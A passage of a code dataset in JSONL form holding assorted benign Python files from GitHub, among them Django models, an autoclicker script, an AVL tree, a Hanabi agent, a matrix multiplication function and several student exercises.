kwargs={\"user_name\":urllib.quote(self.user.username)})\n \n def __unicode__(self):\n return \"%s - %s\" % (self.user.username, self.author_email)\n \n\nclass Category(models.Model):\n name = models.CharField(max_length=150)\n slug = models.SlugField(unique=True)\n \n class Meta:\n ordering = [\"name\"]\n \n def __unicode__(self):\n return self.name\n\nclass Link(models.Model):\n post_ttl = models.CharField(max_length=155)\n post_txt = models.TextField(max_length=255, help_text=_(\"Post Descripiton\"), blank=True, null=True)\n post_url = models.URLField(max_length=2000, help_text=_(\"Foreign URL\"))\n post_img = models.URLField(max_length=2000, help_text=_(\"Illustration\"), blank=True, null=True)\n post_html = models.CharField(max_length=2000, help_text=_(\"Media\"), blank=True, null=True)\n \n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n \n status = models.CharField(\n choices = (\n (\"publish\", _(\"Published\")),\n (\"draft\", _(\"Draft\")),\n (\"deleted\", _(\"Deleted\")),\n (\"denied\", _(\"Denied\")),\n ),\n default=\"draft\", max_length=20)\n \n link_type = models.CharField(\n choices = (\n (\"photo\", _(\"Photo\")),\n (\"video\", _(\"Video\")),\n (\"rich\", _(\"Rich\")),\n (\"link\", _(\"Link\")),\n ),\n default=\"link\", max_length=20)\n \n positive = models.IntegerField(_(\"Link number of positive votes\"), default = 0)\n negative = models.IntegerField(_(\"Link number of negative votes\"), default = 0)\n \n author = models.ForeignKey('Author')\n category = models.ForeignKey('Category')\n \n @property\n def source(self):\n from urlparse import urlparse\n return urlparse(self.post_url)\n \n @property\n def title_for_url(self):\n return slugify(self.post_ttl.encode(\"ascii\", \"xmlcharrefreplace\"))\n \n ALPHABET = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n \n @property\n def id_b62(self):\n \"\"\"Encode a number in Base X\n \n `num`: The number to encode\n `alphabet`: The alphabet to use for encoding\n \"\"\"\n arr = []\n base = len(self.ALPHABET)\n url_id = self.id\n while url_id:\n rem = url_id % base\n url_id = url_id // base\n arr.append(self.ALPHABET[rem])\n arr.reverse()\n return ''.join(arr)\n \n def b62_id(self, url_id):\n \"\"\"Decode a Base X encoded string into the number\n \n Arguments:\n - `string`: The encoded string\n - `alphabet`: The alphabet to use for encoding\n \"\"\"\n base = len(self.ALPHABET)\n strlen = len(url_id)\n num = 0\n \n idx = 0\n for char in url_id:\n power = (strlen - (idx + 1))\n num += self.ALPHABET.index(char) * (base ** power)\n idx += 1\n \n return num\n \n def get_absolute_url(self):\n return \"/%s/%s/\" % (self.id_b62, self.title_for_url)\n \n def __unicode__(self):\n return self.post_ttl\n\nclass Comment(models.Model):\n status = models.CharField(\n choices = (\n (\"publish\", _(\"Published\")),\n (\"draft\", _(\"Draft\")),\n (\"deleted\", _(\"Deleted\")),\n ),\n default=\"publish\", max_length=20)\n text = models.TextField(max_length=1000)\n \n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n \n author = models.ForeignKey(Author)\n link = models.ForeignKey(Link)\n \n def __unicode__(self):\n return \"%s - %s - %s\" % (self.author, self.link.post_ttl, self.created_at)\n \nclass Like(models.Model):\n link = models.ForeignKey(Link)\n author = models.ForeignKey('Author')\n created_at = models.DateTimeField(auto_now_add=True)\n point = models.BooleanField(default = True)\n \nclass Follow(models.Model):\n author_from = models.ForeignKey('Author', related_name=\"author_from\")\n author_to = models.ForeignKey('Author', related_name=\"author_to\")\n created_at = models.DateTimeField(auto_now_add=True)\n ","repo_name":"boutdepapier/Link5","sub_path":"link5app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5327,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"28830093013","text":"import math\r\nimport sys\r\nx = int(input('введіть трьохначне число: '))\r\nv = x*x\r\nprint(v)\r\nm = x//100 + x//10%10 + x%10\r\nm = m*m*m\r\nprint(m)\r\nif m == v:\r\n print('true')\r\nelse: print('false')","repo_name":"Master-Sigvard/123","sub_path":"dtskLB2/OOP_211_DatskoIA_LB2_1.py","file_name":"OOP_211_DatskoIA_LB2_1.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38872780300","text":"import GetData\nimport time\nfrom sys import exit\n\nclass Portfolio:\n\n def __init__(self, tickersymbolist, inputdate_init, inputdate_fin, initialcapital):\n\n self.initialcapital = initialcapital\n self.transactioncost = 0.5\n #self.pershare_transactioncost = 0.005\n self.availablecapital = self.initialcapital\n self.inputdate_init = inputdate_init\n self.inputdate_fin = inputdate_fin\n self.tickersymbolist = tickersymbolist\n self.portfolio = []\n\n for c in range(len(tickersymbolist)):\n company = self.Company(tickersymbolist[c])\n self.portfolio.append(company)\n\n #Get Open price data for all Ticker Symbols in one DataFrame - from 3 years before inputdate_init to inputdate_fin\n self.pricedatadf, self.simulationdf = GetData.getpricedatadf(self.tickersymbolist, self.portfolio, self.inputdate_init, self.inputdate_fin, 3)\n\n def getportfoliovalue(self, dfindex):\n totalcapital = 0\n for company in self.portfolio:\n totalcapital += company.capital\n if company.stocks > 0:\n sell = company.stocks * (self.simulationdf['Price' + company.ticker][dfindex])\n totalcapital += sell - self.transactioncost\n\n totalcapital += self.availablecapital\n\n return totalcapital\n\n def printportfolio(self):\n print('----PORTFOLIO-----')\n for c in self.portfolio:\n print(c)\n print('Remaining Capital:')\n print(self.availablecapital)\n return '------------------'\n\n def __str__(self):\n return self.printportfolio()\n\n def __getitem__(self, str_ticker):\n try:\n iticker = self.tickersymbolist.index(str_ticker)\n except ValueError:\n print('No TickerSymbol: ' + str_ticker)\n exit()\n return self.portfolio[iticker]\n\n\n class Company:\n def __init__(self, ticker):\n self.ticker = ticker\n self.stocks = 0\n self.capital = 0\n self.datadf = GetData.getdfdata(ticker)\n\n def __str__(self):\n return \"Ticker -> %s \\t; Stocks -> %s \\t; Capital-> %s\" % (self.ticker, self.stocks, self.capital)\n\n","repo_name":"filipenovais/ModernPortfolioTheory","sub_path":"PortfolioClass.py","file_name":"PortfolioClass.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"31142640284","text":"from project.robots.female_robot import FemaleRobot\nfrom project.robots.male_robot import MaleRobot\nfrom project.services.main_service import MainService\nfrom project.services.secondary_service import SecondaryService\n\n\nclass RobotsManagingApp:\n\n def __init__(self):\n self.robots = []\n self.services = []\n\n\n def add_service(self, service_type: str, name: str):\n\n if service_type != \"MainService\" and service_type != \"SecondaryService\":\n raise Exception(\"Invalid service type!\")\n\n if service_type == \"MainService\":\n self.services.append(MainService(name))\n elif service_type == \"SecondaryService\":\n self.services.append(SecondaryService(name))\n\n return f\"{service_type} is successfully added.\"\n\n\n def add_robot(self, robot_type: str, name: str, kind: str, price: float):\n\n if robot_type != \"MaleRobot\" and robot_type != \"FemaleRobot\":\n raise Exception(\"Invalid robot type!\")\n\n if robot_type == \"MaleRobot\":\n self.robots.append(MaleRobot(name, kind, price))\n elif robot_type == \"FemaleRobot\":\n self.robots.append(FemaleRobot(name, kind, price))\n\n return f\"{robot_type} is successfully added.\"\n\n\n def add_robot_to_service(self, robot_name: str, service_name: str):\n\n robot = None\n service = None\n\n for rob in self.robots:\n if rob.name == robot_name:\n robot = rob\n break\n\n for ser in self.services:\n if ser.name == service_name:\n service = ser\n break\n\n if robot.__class__.__name__ == \"FemaleRobot\" and service.__class__.__name__ == \"MainService\": ## if erorr check\n return \"Unsuitable service.\"\n elif robot.__class__.__name__ == \"MaleRobot\" and service.__class__.__name__ == \"SecondaryService\": ## if error check\n return \"Unsuitable service.\"\n\n ## if not enough capactiy\n if service.capacity - len(service.robots) < 1: ## wtf check if error\n raise Exception(\"Not enough capacity for this robot!\")\n\n self.robots.remove(robot)\n service.robots.append(robot)\n return f\"Successfully added {robot_name} to {service_name}.\"\n\n\n\n def remove_robot_from_service(self, robot_name: str, service_name: str):\n service = None\n\n for ser in self.services:\n if ser.name == service_name:\n service = ser\n break\n\n if robot_name not in [h.name for h in service.robots]:\n raise Exception(\"No such robot in this service!\")\n\n robot = None\n for rob in service.robots:\n if rob.name == robot_name:\n robot = rob\n break\n\n service.robots.remove(robot)\n self.robots.append(robot)\n return f\"Successfully removed {robot_name} from {service_name}.\"\n\n\n\n def feed_all_robots_from_service(self, service_name: str):\n service = None\n for ser in self.services:\n if ser.name == service_name:\n service = ser\n break\n\n for rob in service.robots:\n rob.eating()\n\n return f\"Robots fed: {len(service.robots)}.\"\n\n\n def service_price(self, service_name: str):\n service = None\n for ser in self.services:\n if ser.name == service_name:\n service = ser\n break\n\n total = 0\n for rob in service.robots:\n total += rob.price\n\n return f\"The value of service {service_name} is {total:.2f}.\"\n\n\n def __str__(self):\n list_return = []\n for ser in self.services:\n list_return.append(ser.details())\n\n return '\\n'.join(list_return)\n","repo_name":"PowerCell12/Programming_OOP_Python","sub_path":"Exams/8_April_2023_func_struc/robots_managing_app.py","file_name":"robots_managing_app.py","file_ext":"py","file_size_in_byte":3757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74691992242","text":"import sys\n\n\ndef input():\n return sys.stdin.readline().rstrip()\n\nif __name__ == '__main__':\n N = int(input())\n stack = []\n result = []\n flag = False\n top = 1\n last = 1\n for i in range(N):\n n = int(input())\n while last <= n:\n stack.append(last)\n result.append(\"+\")\n last += 1\n if n < stack[-1]:\n flag = True\n break\n else:\n stack.pop()\n result.append(\"-\")\n\n if flag:\n print(\"NO\")\n else:\n print('\\n'.join(result))","repo_name":"chanwooleeme/baekjoon","sub_path":"no-dapzi/data_structure/1874.py","file_name":"1874.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22381878019","text":"import mod_utils\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport utils\nfrom matplotlib.animation import FuncAnimation\nimport time\nimport threading\n\n\n\nphi = np.linspace(0, np.pi/2, 100)\nc = np.array([1+1j, 1-1j, -1+1j, -1-1j])*np.exp(-1j*2)\n\n\nfig, (ax1, ax2) = plt.subplots(1, 2)\nfig.set_facecolor(color='#a4a4c1',)\nax1.set_facecolor(color='#d1d1e0'); ax2.set_facecolor(color='#d1d1e0')\nax1.grid()\nscat = ax1.scatter(c.real, c.imag)\n\nax2.grid()\nax2.set_ylim(-1, 1)\nline, = ax2.plot(np.arange(10), np.arange(10), marker='.')\n\n\ndef update_plot(frame, line):\n ydata = np.random.rand(10)*2 - 1\n line.set_ydata(ydata)\n\n return line, \n\n\ndef update_scatter(frames, scat):\n c = np.array([1+1j, 1-1j, -1+1j, -1-1j])*np.exp(-1j*frames)\n data = np.array([c.real, c.imag])\n scat.set_offsets(data.T)\n\n return scat, \n\n\ndef ff():\n for i in range(10):\n print(i)\n time.sleep(2)\n\n\nanimation = FuncAnimation(\n fig,\n func=update_scatter,\n frames = phi,\n fargs=(scat, ),\n interval=10,\n blit=True,\n repeat=True)\n\n\nanimation2 = FuncAnimation(\n fig,\n func=update_plot,\n fargs=(line, ),\n interval=10,\n blit=True,\n repeat=True)\n\n\n\n\n\nplt.show()\n\n\n\n","repo_name":"AndrewMZ6/Pluto_sdr","sub_path":"test_pilots_equalizer.py","file_name":"test_pilots_equalizer.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31819955455","text":"import pprint\nimport random\nimport string\nimport numpy as np\n\nALPHABET = string.ascii_letters + string.digits\nTABLE_SIZE = 1 << 8\nMASK = TABLE_SIZE - 1\nN_ITEMS = (TABLE_SIZE << 1) // 3\n\n\ndef chi_sq(freqs):\n expected = sum(freqs) / len(freqs)\n filled = len(list(filter(None, freqs)))\n chi_sq_list = [\n (i, observed, ((observed - expected) ** 2) / expected)\n for i, observed in enumerate(freqs)\n ]\n chi_sq_ret = sum(\n chi_sq_value\n for i, observed, chi_sq_value in chi_sq_list\n )\n chi_sq_list.sort(key=lambda item: -item[2])\n pprint.pprint(chi_sq_list)\n print(f'{filled} / {len(freqs)} = {filled / len(freqs)}')\n print(f'expected = {expected!r}')\n return chi_sq_ret\n\n\ndef fnv(byte_seq):\n hash_val = np.uint64(0xcbf29ce484222325) # FNV offset basis\n FNV_prime = np.uint64(0x100000001b3)\n\n for byte in map(np.uint8, byte_seq):\n hash_val ^= byte\n hash_val *= FNV_prime\n\n return int(hash_val)\n\n\ndef str_to_bucket(string):\n return fnv(string.encode()) & MASK\n\n\ndef main():\n freqs = [0] * TABLE_SIZE\n\n for _ in range(N_ITEMS):\n string = ''.join(random.sample(ALPHABET, 8))\n bucket = str_to_bucket(string)\n freqs[bucket] += 1\n\n print(f'chi_sq = {chi_sq(freqs)}')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"cheeseywhiz/libsct","sub_path":"src/ht_implementation/hash_simulation.py","file_name":"hash_simulation.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32609578131","text":"import pyautogui\nfrom pynput.keyboard import *\n\n#Settings\ndelay = 0.2\nstart = Key.f1\nresume = Key.f2\npause_key = Key.f3\nexit_key = Key.f4\npdelay = Key.f5\nmdelay = Key.f6\n\nrunning = True\npaused = True\n\nclick_type = 'left' #default clickoption\n\ndef on_press(key):\n global running, paused, delay, click_type\n\n#Option Keys\n if key == start:\n delay = float(input('Enter the delay in seconds: ')) #Delay input\n print(\"New Delay = \" + str(delay))\n#-----------------------------------------------------------------------------------------------\n click_type = input('Enter the button u want to click with(left , right or write the button. Example : space , capslock): ') #Click_type input\n print(\"Click type set to \" + click_type)\n paused = False\n print(\"Started\")\n\n elif key == resume:\n paused = False\n print(\"Resumed\")\n\n elif key == pause_key:\n paused = True\n print(\"Paused\")\n print(\"Press F2 to Resume\")\n\n elif key == exit_key:\n running = False\n\n elif key == pdelay:\n delay += 0.1\n print(\"Delay increased \\n New Delay =\" + str(delay))\n\n elif key == mdelay:\n delay -= 0.1\n print(\"Delay decreased \\n New Delay =\" + str(delay))\n\n#Displayed things if the app opened\ndef display_controls():\n print(\" --- Better Autoclicker by IceDah ---\\n\")\n print(\"-----------------------------------------------------\")\n print(\" - Settings: \")\n print(\"\\t delay = \" + str(delay) + ' sec' + '\\n')\n print(\"\\t click type = \" + click_type + '\\n')\n print(\"-----------------------------------------------------\")\n print(\" - Controls:\")\n print(\"\\t F1 = Start / Settings\")\n print(\"\\t F2 = Resume\")\n print(\"\\t F3 = Pause\")\n print(\"\\t F4 = Exit\")\n print(\"\\t F5 = Plus 0.1 Delay\")\n print(\"\\t F6 = Minus 0.1 Delay\")\n print(\"-----------------------------------------------------\")\n print('Press F1 to Start or to Change settings')\n print(\"Please pause before changing setttings\")\n\n#Listen key press and loops autoclicker\ndef main():\n lis = Listener(on_press=on_press)\n lis.start()\n\n#Click_type options\n display_controls()\n while running:\n if not paused:\n if click_type == 'left':\n pyautogui.click(button='left')\n elif click_type == 'right':\n pyautogui.click(button='right')\n else:\n pyautogui.press(click_type)\n\n pyautogui.PAUSE = delay \n\n lis.stop()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"IceDah/Better-AutoClicker","sub_path":"better-autoclicker.py","file_name":"better-autoclicker.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"37195164642","text":"from rl_env import Agent\nfrom agents.rule_based.rule_based_agents import VanDenBerghAgent\nfrom agents.rule_based.rule_based_agents import OuterAgent\nfrom agents.rule_based.rule_based_agents import InnerAgent\nfrom agents.rule_based.rule_based_agents import PiersAgent\nfrom agents.rule_based.rule_based_agents import IGGIAgent\nfrom agents.rule_based.rule_based_agents import LegalRandomAgent\nfrom agents.rule_based.rule_based_agents import FlawedAgent\nfrom agents.rule_based.rule_based_agents import MuteAgent\n\nAGENT_CLASSES = {'VANDENBERGH': VanDenBerghAgent,'FLAWEDAGENT':FlawedAgent\n , 'OUTERAGENT':OuterAgent, 'INNERAGENT':InnerAgent, 'PIERSAGENT':PiersAgent, 'IGGIAGENT':IGGIAgent\n , 'LEGALRANDOMAGENT':LegalRandomAgent, 'MUTEAGENT':MuteAgent}\n\n\nclass HumanAgent(Agent):\n def __init__(self,config):\n self.max_information_tokens = config.get('information_tokens', 8)\n self.agent = None\n self.config = config\n\n def print_all_moves(self, legal_actions):\n for action in legal_actions:\n for param,value in action.items():\n print(value, end=\" \")\n print(\",\", end=\"\")\n\n\n def act(self, observation):\n # If not my turn, return nothing\n if observation['current_player_offset'] != 0:\n return None\n\n for move in reversed(observation[\"pyhanabi\"].last_moves()):\n print(move)\n print(observation[\"pyhanabi\"])\n\n if self.agent is not None:\n return self.agent.act(observation)\n\n legal_actions = observation[\"legal_moves\"]\n\n while True:\n action = {}\n # Get user input\n print(\"Possible actions: \", end=\"\")\n self.print_all_moves(legal_actions)\n print(\"\")\n human_input = input(\"Choose an action, or bot followed by an agent:\")\n action_args = [a.upper() for a in human_input.split(\" \")]\n action['action_type'] = action_args[0]\n\n if action['action_type'] == 'BOT':\n if len(action_args) <= 1:\n print(\"Bot needs a valid agent name\")\n if action_args[1] in AGENT_CLASSES:\n self.agent = AGENT_CLASSES[action_args[1]](self.config)\n return self.agent.act(observation)\n else:\n print(f\"Not a valid agent. Choose {[a for a in AGENT_CLASSES.keys()]}\")\n\n if action['action_type'] == 'PLAY' or action['action_type'] == 'DISCARD':\n if len(action_args) <= 1:\n print(\"Seperate all action arguments with spaces\")\n elif action_args[1].isdigit():\n action['card_index'] = int(action_args[1])\n elif action['action_type'] == 'REVEAL_RANK' or action['action_type'] == 'REVEAL_COLOR':\n if len(action_args) <= 2:\n print(\"Seperate all action arguments with spaces\")\n elif action['action_type'] == 'REVEAL_RANK':\n if action_args[1].isdigit():\n action['target_offset'] = int(action_args[1])\n if action_args[2].isdigit():\n action['rank'] = int(action_args[2])-1\n elif action['action_type'] == 'REVEAL_COLOR':\n if action_args[1].isdigit():\n action['target_offset'] = int(action_args[1])\n action['color'] = action_args[2]\n\n if action in legal_actions:\n return action\n else:\n print(f\"Action is not legal here: {action}\")\n\n\n\n","repo_name":"MBlogs/mcts-hanabi","sub_path":"agents/human_agent.py","file_name":"human_agent.py","file_ext":"py","file_size_in_byte":3238,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"36753939931","text":"from django.test import TestCase\nfrom django.urls import reverse\n\nfrom python_web_final_project.helpers.mixins.test_mixins import CreateUserAndProfileMixin\n\n\nclass TestLogoutView(TestCase, CreateUserAndProfileMixin):\n\n def test_logout_redirects_to_home(self):\n self._create_user()\n self.client.login(**self.VALID_USER_CREDENTIALS)\n response = self.client.get(reverse('logout'), follow=True)\n self.assertRedirects(response, reverse('index'))\n self.assertFalse(response.context['user'].is_authenticated)\n\n","repo_name":"dmitkov28/dmitkov28-python_web_final_project","sub_path":"python_web_final_project/accounts_app/tests/views/test_logout_view.py","file_name":"test_logout_view.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16054777442","text":"# python3\nimport sys\nfrom collections import deque as deq\nfrom collections import deque\nfrom io import StringIO\nimport itertools\n\nx = 0\nM = 1000000001\nglobal_res = []\nglobal_root = None\n\n\nclass AVLTreeNode():\n def __init__(self, value, left=None, right=None):\n self.left = None\n self.right = None\n self.value = value\n self.height = 1 if left is not None or right is not None else 0\n\n def find(self, value):\n if value == self.value:\n return True\n elif value > self.value:\n return self.right.find(value) if self.right is not None else False\n else:\n return self.left.find(value) if self.left is not None else False\n\n def next(self, value, nearest=None):\n node = self._nearest_node(value) if nearest is None else nearest\n if node.right is not None:\n return node.right._find_min()\n else:\n successor = None\n root = self\n while root is not None:\n if node.value < root.value:\n successor, root = root, root.left\n else:\n root = root.right if node.value > root.value else None\n return successor\n\n def _range_sum_gen(self, node, value_from, value_to):\n next_func = self.next\n while node is not None:\n node_value = node.value\n if node_value > value_to:\n break\n node = next_func(node_value)\n yield node_value\n\n def range_sum(self, value_from, value_to):\n node = self._nearest_node(value_from)\n node = self.next(node.value, node) if node.value < value_from else node\n if node is None:\n return 0\n return sum(self._range_sum_gen(node, value_from, value_to))\n\n def insert(self, value):\n if value == self.value:\n return self\n elif value > self.value:\n self.right = self.right.insert(value) if self.right is not None else AVLTreeNode(value)\n else:\n self.left = self.left.insert(value) if self.left is not None else AVLTreeNode(value)\n return self._rebalance()\n\n def remove(self, value):\n if value > self.value:\n self.right = self.right.remove(value) if self.right is not None else None\n elif value < self.value:\n self.left = self.left.remove(value) if self.left is not None else None\n else:\n left_node, right_node = self.left, self.right\n if right_node is None:\n return left_node\n min_node_from_right = self.right._find_min()\n min_node_from_right.right = right_node._remove_min()\n min_node_from_right.left = left_node\n return min_node_from_right._rebalance()\n return self._rebalance()\n\n def _find_min(self):\n curr = self\n res = curr\n while curr is not None:\n res = curr\n curr = curr.left\n return res\n\n def _remove_min(self):\n if self.left is None:\n return self.right\n self.left = self.left._remove_min()\n return self._rebalance()\n\n\n def _nearest_node(self, value):\n curr = self\n res = curr\n cur_value = None\n while curr is not None:\n res = curr\n cur_value = curr.value\n curr = None if cur_value == value else curr.right if value > cur_value else curr.left\n return res\n\n def _rebalance(self):\n self._fix_height()\n bfactor = self._bfactor()\n if bfactor == 2: # right tree is bigger\n if self.right._bfactor() < 0:\n self.right = self.right._rotate_right()\n return self._rotate_left()\n elif bfactor == - 2: # left tree is bigger\n if self.left._bfactor() > 0:\n self.left = self.left._rotate_left()\n return self._rotate_right()\n return self\n\n def _fix_height(self):\n right = self.right.height if self.right is not None else 0\n left = self.left.height if self.left is not None else 0\n self.height = 1 + (right if right > left else left)\n\n def _bfactor(self):\n return (self.right.height if self.right is not None else 0) - (self.left.height if self.left is not None else 0)\n\n def _rotate_left(self):\n p = self.right\n self.right = p.left\n p.left = self\n self._fix_height()\n p._fix_height()\n return p\n\n def _rotate_right(self):\n q = self.left\n self.left = q.right\n q.right = self\n self._fix_height()\n q._fix_height()\n return q\n\n def by_level_traversal(self):\n res = []\n data = deque()\n data.append(self)\n while len(data) > 0:\n node = data.popleft()\n if node is None:\n continue\n res.append(node.value)\n data.append(node.left)\n data.append(node.right)\n return res\n\n\ndef parse_op(line):\n global x\n global M\n global global_res\n global global_root\n operands = [x.strip() for x in line.split(\" \")]\n if len(operands) == 2:\n [operation, operand] = operands\n operand = (int(operand) + x) % M\n if operation == \"+\":\n global_root = global_root.insert(operand) if global_root is not None else AVLTreeNode(operand)\n elif operation == \"-\":\n global_root = global_root.remove(operand) if global_root is not None else global_root\n elif operation == \"?\":\n global_res.append(\n \"Found\" if global_root is not None and global_root.find(operand) else \"Not found\")\n else:\n # means sum operator\n [_, sfrom, sto] = operands\n x = global_root.range_sum((int(sfrom) + x) % M, (int(sto) + x) % M) if global_root is not None else 0\n global_res.append(str(x))\n\n\ndef test1():\n global_root = AVLTreeNode(10)\n global_root = global_root.insert(5)\n print(global_root.by_level_traversal())\n print(global_root.range_sum(12,1000))\n print(global_root.by_level_traversal())\n pass\n\ndef test2():\n cconst = 1000\n global_root = AVLTreeNode(10)\n for i in range(cconst):\n global_root = global_root.insert(i)\n for i in range(cconst):\n some = global_root.find(i)\n for i in range(cconst):\n global_root.range_sum(0, cconst)\n for i in range(cconst-1):\n global_root = global_root.remove(i)\n\nstdin_mock2 = StringIO(\"\"\"15\n? 1\n+ 1\n? 1\n+ 2\ns 1 2\n+ 1000000000\n? 1000000000\n- 1000000000\n? 1000000000\ns 999999999 1000000000\n- 2\n? 2\n- 0\n+ 9\ns 0 9\n\"\"\")\n\n# stdin_mock3 = StringIO(\"\"\"5\n# + 491572259\n# ? 491572259\n# ? 899375874\n# s 310971296 877523306\n# + 352411209\"\"\")\n\n\nstdin_mock3 = StringIO(\"\"\"6\ns 0 100\n+ 491572259\ns 0 491572260\n- 491572259\n? 491572259\ns 0 491572260\"\"\")\n\nif __name__ == '__main__':\n test2()\n\n #\n # stdin = sys.stdin\n # # stdin = stdin_mock2\n # count = int(stdin.readline())\n # for i in range(count):\n # line = stdin.readline()\n # parse_op(line)\n # print(\"\\n\".join(global_res), end=\"\")\n # print(\"\\n\".join(global_res))\n","repo_name":"rknyx/algorithms_and_data_structures","sub_path":"tree_set.py","file_name":"tree_set.py","file_ext":"py","file_size_in_byte":7132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41071922553","text":"#!/usr/bin/python3\n\"\"\"Module that multiple 2 matices\"\"\"\n\n\ndef matrix_mul(m_a, m_b):\n \"\"\"Function that returns the product of 2 matix\n\n Args:\n m_a (list): Matrix A\n m_b (list): Matrix B\n \"\"\"\n if not isinstance(m_a, list):\n raise TypeError('m_a must be a list')\n if not isinstance(m_b, list):\n raise TypeError('m_b must be a list')\n if not all(isinstance(item, list) for item in m_a):\n raise TypeError('m_a must be a list of lists')\n if not all(isinstance(item, list) for item in m_b):\n raise TypeError('m_b must be a list of lists')\n if len(m_a) == 0 or any((len(item) == 0) for item in m_a):\n raise ValueError(\"m_a can't be empty\")\n if len(m_b) == 0 or any((len(item) == 0) for item in m_b):\n raise ValueError(\"m_b can't be empty\")\n if not all(isinstance(\n item, (int, float)) for sublist in m_a for item in sublist):\n raise TypeError(\"m_a should contain only integers or floats\")\n if not all(isinstance(\n item, (int, float)) for sublist in m_b for item in sublist):\n raise TypeError(\"m_b should contain only integers or floats\")\n if any(len(m_a[0]) != len(item) for item in m_a):\n raise TypeError(\"each row of m_a must be of the same size\")\n if any(len(m_b[0]) != len(item) for item in m_b):\n raise TypeError(\"each row of m_b must be of the same size\")\n if len(m_a[0]) != len(m_b):\n raise TypeError(\"m_a and m_b can't be multiplied\")\n\n result = [[sum(a*b for a, b in zip(X_row, Y_col))\n for Y_col in zip(*m_b)] for X_row in m_a]\n print(result)\n","repo_name":"emmanueldiogu/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/100-matrix_mul.py","file_name":"100-matrix_mul.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28688935256","text":"from __future__ import division, print_function\nfrom fileinput import input\nfrom sys import setrecursionlimit\nsetrecursionlimit(20000)\n\ntry:\n xrange # Python 2?\n range = xrange\nexcept NameError:\n xrange = range\ninp = input()\n\n\nn = int(inp.readline())\nfor i in xrange(n):\n line = inp.readline().rstrip(\"\\n\")\n k, c, s = map(int, line.split())\n sol = []\n if s != k:\n print(line)\n print(s, k)\n print(\"wrong: \" + str(i))\n jump = k**(c-1)\n for ii in range(k):\n sol.append(1+ii*jump)\n print(\"Case #\" + str(i +1) + \": \" + \" \".join(map(str, sol)))\n","repo_name":"DaHuO/Supergraph","sub_path":"codes/CodeJamCrawler/16_0_4/fandersen/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28625860289","text":"import re\nfrom collections import OrderedDict\nfrom django.conf import settings\nfrom django.urls import URLPattern, URLResolver\nfrom django.utils.module_loading import import_string\n\ndef check_url_exclude(url):\n for regex in settings.AUTO_DISCOVER_EXCLUDE:\n if re.match(regex,url):\n return True\n\n\ndef recursion_urls(pre_namespace,pre_url,urlpatterns,url_order_dict):\n \"\"\"\n 通过递归获取URL\n \"\"\"\n for item in urlpatterns:\n if isinstance(item,URLPattern): #非路由转发,将路由添加到url_ordered_dict\n if not item.name:\n continue\n\n if pre_namespace:\n name = \"%s:%s\" %(pre_namespace,item.name)\n else:\n name = item.name\n\n url = pre_url + str(item.pattern)\n\n url = url.replace('^','').replace('$','')\n if check_url_exclude(url):\n continue\n url_order_dict[name] = {'url_name':name,'url':url}\n\n elif isinstance(item,URLResolver): #路由转发 , 递归操作\n if pre_namespace:\n if item.namespace:\n namespace = \"%s:%s\" %(pre_namespace,item.namespace)\n else:\n namespace = item.namespace\n else:\n if item.namespace:\n namespace = item.namespace\n else:\n namespace = None\n recursion_urls(namespace, pre_url + str(item.pattern), item.url_patterns, url_order_dict)\n return url_order_dict\n\n\ndef get_all_url_dict():\n # 获取项目中所有的URL\n url_order_dict = OrderedDict()\n md = import_string(settings.ROOT_URLCONF) # from luffy... import urls\n # print(md.urlpatterns)\n return recursion_urls(None,'/',md.urlpatterns,url_order_dict)\n","repo_name":"lostar01/luffy_permission","sub_path":"rbac/service/route.py","file_name":"route.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"11747304654","text":"from collections import Counter\n\nclass Solution:\n def compress(self, chars: List[str]) -> int:\n p1, p2 = 0, 0\n while p2 < len(chars):\n\t\t\n chars[p1] = chars[p2]\n count = 1\n\t\t\t\n # While the value of p2 is less than the length AND the value is the same as the next element,\n # increment p2 and our count. Keep the status quo.\n while p2 + 1 < len(chars) and chars[p2] == chars[p2 + 1]:\n p2 += 1\n count += 1\n\t\t\t\n # If our count is greater than 1, there's a possiblity there's 2 digits.\n if count > 1:\n for element in str(count):\n chars[p1 + 1] = element\n p1 += 1\n p1 += 1\n p2 += 1\n \n return p1\n \n 